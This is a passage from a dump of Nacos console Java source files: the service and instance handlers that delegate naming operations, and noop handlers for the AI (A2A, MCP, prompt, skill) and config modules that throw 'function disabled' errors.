operations.\n *\n * @author zhangyukun\n */\n@Service\n@EnabledInnerHandler\n@Conditional(ConditionFunctionEnabled.ConditionNamingEnabled.class)\npublic class InstanceInnerHandler implements InstanceHandler {\n    \n    private final CatalogService catalogService;\n    \n    private final InstanceOperatorClientImpl instanceServiceV2;\n    \n    /**\n     * Constructs a new InstanceInnerHandler with the provided dependencies.\n     *\n     * @param catalogServiceV2 the service for catalog-related operations\n     */\n    public InstanceInnerHandler(CatalogServiceV2Impl catalogServiceV2, InstanceOperatorClientImpl instanceServiceV2) {\n        this.catalogService = catalogServiceV2;\n        this.instanceServiceV2 = instanceServiceV2;\n    }\n    \n    @Override\n    public Page<? extends Instance> listInstances(String namespaceId, String serviceNameWithoutGroup, String groupName,\n            String clusterName, int page, int pageSize) throws NacosException {\n        List<? extends Instance> instances = catalogService.listInstances(namespaceId, groupName,\n                serviceNameWithoutGroup, clusterName);\n        return PageUtil.subPage(instances, page, pageSize);\n    }\n    \n    @Override\n    public void updateInstance(InstanceForm instanceForm, Instance instance) throws NacosException {\n        instanceServiceV2.updateInstance(instanceForm.getNamespaceId(), instanceForm.getGroupName(),\n                instanceForm.getServiceName(), instance);\n        NotifyCenter.publishEvent(\n                new UpdateInstanceTraceEvent(System.currentTimeMillis(), \"\", instanceForm.getNamespaceId(),\n                        instanceForm.getGroupName(), instanceForm.getServiceName(), instance.getIp(),\n                        instance.getPort(), instance.getMetadata()));\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/inner/naming/ServiceInnerHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.inner.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.trace.event.naming.DeregisterServiceTraceEvent;\nimport com.alibaba.nacos.common.trace.event.naming.RegisterServiceTraceEvent;\nimport com.alibaba.nacos.common.trace.event.naming.UpdateServiceTraceEvent;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.inner.EnabledInnerHandler;\nimport com.alibaba.nacos.console.handler.naming.ServiceHandler;\nimport com.alibaba.nacos.naming.core.CatalogServiceV2Impl;\nimport com.alibaba.nacos.naming.core.ClusterOperatorV2Impl;\nimport com.alibaba.nacos.naming.core.ServiceOperatorV2Impl;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\nimport com.alibaba.nacos.naming.selector.SelectorManager;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Conditional;\n\nimport java.util.List;\n\n/**\n * Implementation of ServiceHandler that handles service-related operations.\n *\n * @author zhangyukun\n */\n@org.springframework.stereotype.Service\n@EnabledInnerHandler\n@Conditional(ConditionFunctionEnabled.ConditionNamingEnabled.class)\npublic class ServiceInnerHandler implements ServiceHandler {\n    \n    private final ServiceOperatorV2Impl serviceOperatorV2;\n    \n    private final SelectorManager selectorManager;\n    \n    private final CatalogServiceV2Impl catalogServiceV2;\n    \n    private final ClusterOperatorV2Impl clusterOperatorV2;\n    \n    @Autowired\n    public ServiceInnerHandler(ServiceOperatorV2Impl serviceOperatorV2, SelectorManager selectorManager,\n            CatalogServiceV2Impl catalogServiceV2, ClusterOperatorV2Impl clusterOperatorV2) {\n        this.serviceOperatorV2 = serviceOperatorV2;\n        this.selectorManager = selectorManager;\n        this.catalogServiceV2 = catalogServiceV2;\n        this.clusterOperatorV2 = clusterOperatorV2;\n    }\n    \n    @Override\n    public void createService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        serviceOperatorV2.create(com.alibaba.nacos.naming.core.v2.pojo.Service.newService(serviceForm.getNamespaceId(),\n                serviceForm.getGroupName(), serviceForm.getServiceName(), serviceForm.getEphemeral()), serviceMetadata);\n        NotifyCenter.publishEvent(\n                new RegisterServiceTraceEvent(System.currentTimeMillis(), serviceForm.getNamespaceId(),\n                        serviceForm.getGroupName(), serviceForm.getServiceName()));\n    }\n    \n    @Override\n    public void deleteService(String namespaceId, String serviceName, String groupName) throws Exception {\n        serviceOperatorV2.delete(\n                com.alibaba.nacos.naming.core.v2.pojo.Service.newService(namespaceId, groupName, serviceName));\n        NotifyCenter.publishEvent(\n                new DeregisterServiceTraceEvent(System.currentTimeMillis(), namespaceId, groupName, serviceName));\n    }\n    \n    @Override\n    public void updateService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        Service service = Service.newService(serviceForm.getNamespaceId(), serviceForm.getGroupName(),\n                serviceForm.getServiceName());\n        if (!ServiceManager.getInstance().containSingleton(service)) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.SERVICE_NOT_EXIST,\n                    \"service %s is not exist.\".formatted(service.toString()));\n        }\n        service = ServiceManager.getInstance().getSingleton(service);\n        serviceOperatorV2.update(service, serviceMetadata);\n        NotifyCenter.publishEvent(new UpdateServiceTraceEvent(System.currentTimeMillis(), serviceForm.getNamespaceId(),\n                serviceForm.getGroupName(), serviceForm.getServiceName(), serviceMetadata.getExtendData()));\n    }\n    \n    @Override\n    public List<String> getSelectorTypeList() throws NacosException {\n        return selectorManager.getAllSelectorTypes();\n    }\n    \n    @Override\n    public Page<SubscriberInfo> getSubscribers(int pageNo, int pageSize, String namespaceId, String serviceName,\n            String groupName, boolean aggregation) throws Exception {\n        return serviceOperatorV2.getSubscribers(namespaceId, serviceName, groupName, aggregation, pageNo, pageSize);\n    }\n    \n    @Override\n    public Object getServiceList(boolean withInstances, String namespaceId, int pageNo, int pageSize,\n            String serviceName, String groupName, boolean ignoreEmptyService) throws NacosException {\n        if (withInstances) {\n            return catalogServiceV2.pageListServiceDetail(namespaceId, groupName, serviceName, pageNo, pageSize);\n        }\n        return catalogServiceV2.listService(namespaceId, groupName, serviceName, pageNo, pageSize, ignoreEmptyService);\n    }\n    \n    @Override\n    public ServiceDetailInfo getServiceDetail(String namespaceId, String serviceName, String groupName)\n            throws NacosException {\n        return catalogServiceV2.getServiceDetail(namespaceId, groupName, serviceName);\n    }\n    \n    @Override\n    public void updateClusterMetadata(String namespaceId, String groupName, String serviceName, String clusterName,\n            ClusterMetadata clusterMetadata) throws Exception {\n        clusterOperatorV2.updateClusterMetadata(namespaceId, groupName, serviceName, clusterName, clusterMetadata);\n    }\n    \n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/ai/A2aNoopHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.ai;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.ai.A2aHandler;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\n\n/**\n * A2a inner handler.\n *\n * @author KiteSoar\n */\n@Component\n@ConditionalOnMissingBean(value = A2aHandler.class, ignored = A2aNoopHandler.class)\npublic class A2aNoopHandler implements A2aHandler {\n    \n    private static final String A2A_NOT_ENABLED_MESSAGE = \"Nacos AI A2A module and API required both `naming` and `config` module.\";\n    \n    @Override\n    public void registerAgent(AgentCard agentCard, AgentCardForm agentCardForm) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public AgentCardDetailInfo getAgentCardWithVersions(AgentForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void deleteAgent(AgentForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateAgentCard(AgentCard agentCard, AgentCardUpdateForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<AgentCardVersionInfo> listAgents(AgentListForm agentListForm, PageForm pageForm) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                A2A_NOT_ENABLED_MESSAGE);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/ai/McpNoopHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.ai;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.ai.McpHandler;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Service;\n\n/**\n * Noop implementation of Mcp handler.\n * Used when `naming` or `config` module are not enabled.\n *\n * @author xiweng.yy\n */\n@Service\n@ConditionalOnMissingBean(value = McpHandler.class, ignored = McpNoopHandler.class)\npublic class McpNoopHandler implements McpHandler {\n    \n    private static final String MCP_NOT_ENABLED_MESSAGE = \"Nacos AI MCP module and API required both `naming` and `config` module.\";\n    \n    @Override\n    public Page<McpServerBasicInfo> listMcpServers(String namespaceId, String mcpName, String search, int pageNo,\n            int pageSize) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public McpServerDetailInfo getMcpServer(String namespaceId, String mcpName, String mcpId, String version)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public String createMcpServer(String namespaceId, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateMcpServer(String namespaceId, boolean isPublish, McpServerBasicInfo serverSpecification,\n            McpToolSpecification toolSpecification, McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void deleteMcpServer(String namespaceId, String mcpName, String mcpId, String version)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public McpServerImportValidationResult validateImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public McpServerImportResponse executeImport(String namespaceId, McpServerImportRequest request) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/ai/PromptNoopHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.ai;\n\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.ai.PromptHandler;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Service;\n\n/**\n * Noop implementation of Prompt handler.\n * Used when AI module is not enabled or both `naming` and `config` modules are not available.\n *\n * @author nacos\n */\n@Service\n@ConditionalOnMissingBean(value = PromptHandler.class, ignored = PromptNoopHandler.class)\npublic class PromptNoopHandler implements PromptHandler {\n    \n    private static final String PROMPT_NOT_ENABLED_MESSAGE = \n            \"Nacos AI Prompt module and API required both `naming` and `config` module.\";\n    \n    @Override\n    public boolean publishPrompt(PromptPublishForm form, String srcUser, String srcIp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public PromptMetaInfo getPromptMeta(PromptForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public PromptVersionInfo queryPromptDetail(PromptQueryForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public boolean bindLabel(PromptLabelBindForm form, String srcUser, String srcIp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public boolean unbindLabel(PromptLabelForm form, String srcUser, String srcIp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public boolean deletePrompt(PromptForm form, String srcUser, String srcIp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<PromptMetaSummary> listPrompts(PromptListForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<PromptVersionSummary> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public boolean updatePromptMetadata(PromptMetadataForm form, String srcUser, String srcIp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                PROMPT_NOT_ENABLED_MESSAGE);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/ai/SkillNoopHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.ai;\n\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.ai.SkillHandler;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Service;\n\n/**\n * Noop implementation of Skill handler.\n * Used when AI module is not enabled or both `naming` and `config` modules are not available.\n *\n * @author nacos\n */\n@Service\n@ConditionalOnMissingBean(value = SkillHandler.class, ignored = SkillNoopHandler.class)\npublic class SkillNoopHandler implements SkillHandler {\n    \n    private static final String SKILL_NOT_ENABLED_MESSAGE = \n            \"Nacos AI Skill module and API required both `naming` and `config` module.\";\n    \n    @Override\n    public void registerSkill(Skill skill, SkillDetailForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Skill getSkill(SkillForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void deleteSkill(SkillForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateSkill(Skill skill, SkillUpdateForm form) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<SkillBasicInfo> listSkills(SkillListForm skillListForm, PageForm pageForm) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                SKILL_NOT_ENABLED_MESSAGE);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/config/ConfigNoopHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.console.handler.config.ConfigHandler;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Noop Implementation of ConfigHandler for handling internal configuration operations.\n * Used when `config` module is disabled(functionMode is `naming`)\n *\n * @author xiweng.yy\n */\n@Service\n@ConditionalOnMissingBean(value = ConfigHandler.class, ignored = ConfigNoopHandler.class)\npublic class ConfigNoopHandler implements ConfigHandler {\n    \n    private static final String MCP_NOT_ENABLED_MESSAGE = \"Current functionMode is `naming`, config module is disabled.\";\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigList(int pageNo, int pageSize, String dataId, String group,\n            String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ConfigDetailInfo getConfigDetail(String dataId, String group, String namespaceId) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Boolean publishConfig(ConfigForm configForm, ConfigRequestInfo configRequestInfo) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Boolean deleteConfig(String dataId, String group, String namespaceId, String tag, String clientIp,\n            String srcUser) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Boolean batchDeleteConfigs(List<Long> ids, String clientIp, String srcUser) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<ConfigBasicInfo> getConfigListByContent(String search, int pageNo, int pageSize, String dataId,\n            String group, String namespaceId, Map<String, Object> configAdvanceInfo) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ConfigListenerInfo getListeners(String dataId, String group, String namespaceId, boolean aggregation)\n            throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ConfigListenerInfo getAllSubClientConfigByIp(String ip, boolean all, String namespaceId, boolean aggregation)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ResponseEntity<byte[]> exportConfig(String dataId, String group, String namespaceId, String appName,\n            List<Long> ids) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Result<Map<String, Object>> importAndPublishConfig(String srcUser, String namespaceId,\n            SameConfigPolicy policy, MultipartFile file, String srcIp, String requestIpApp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Result<Map<String, Object>> cloneConfig(String srcUser, String namespaceId,\n            List<SameNamespaceCloneConfigBean> configBeansList, SameConfigPolicy policy, String srcIp,\n            String requestIpApp) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public boolean removeBetaConfig(String dataId, String group, String namespaceId, String remoteIp,\n            String requestIpApp, String srcUser) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ConfigGrayInfo queryBetaConfig(String dataId, String group, String namespaceId) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n}\n"
